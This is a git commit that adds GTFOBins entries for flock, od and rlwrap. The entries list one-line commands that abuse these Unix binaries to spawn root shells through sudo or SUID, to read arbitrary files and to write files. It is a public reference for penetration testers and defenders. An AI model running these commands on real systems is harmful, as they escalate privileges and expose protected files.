Add flock, od, rlwrap

This commit is contained in:
Dov Murik 2018-06-03 20:18:43 +00:00
parent 6e6cbb66a7
commit 3f8a62a253
3 changed files with 32 additions and 0 deletions

9
_gtfobins/flock.md Normal file
View File

@ -0,0 +1,9 @@
---
functions:
execute-interactive:
- code: flock /tmp /bin/sh
sudo-enabled:
- code: sudo flock /tmp /bin/sh
suid-enabled:
- code: ./flock /tmp /bin/sh -p
---

9
_gtfobins/od.md Normal file
View File

@ -0,0 +1,9 @@
---
description: |
Three spaces are added before each character in the read file, and
non-printable chars are printed as backslash escape sequences.
functions:
file-read:
- code: |
LFILE=file_to_read
od -An -c -w9999 "$LFILE"

14
_gtfobins/rlwrap.md Normal file
View File

@ -0,0 +1,14 @@
---
functions:
execute-interactive:
- code: rlwrap /bin/sh
sudo-enabled:
- code: sudo rlwrap /bin/sh
suid-enabled:
- code: ./rlwrap -H /tmp/y /bin/sh -p
file-write:
- description: This adds timestamps to the output file.
code: |
LFILE=file_to_write
rlwrap -l "$LFILE" echo data
---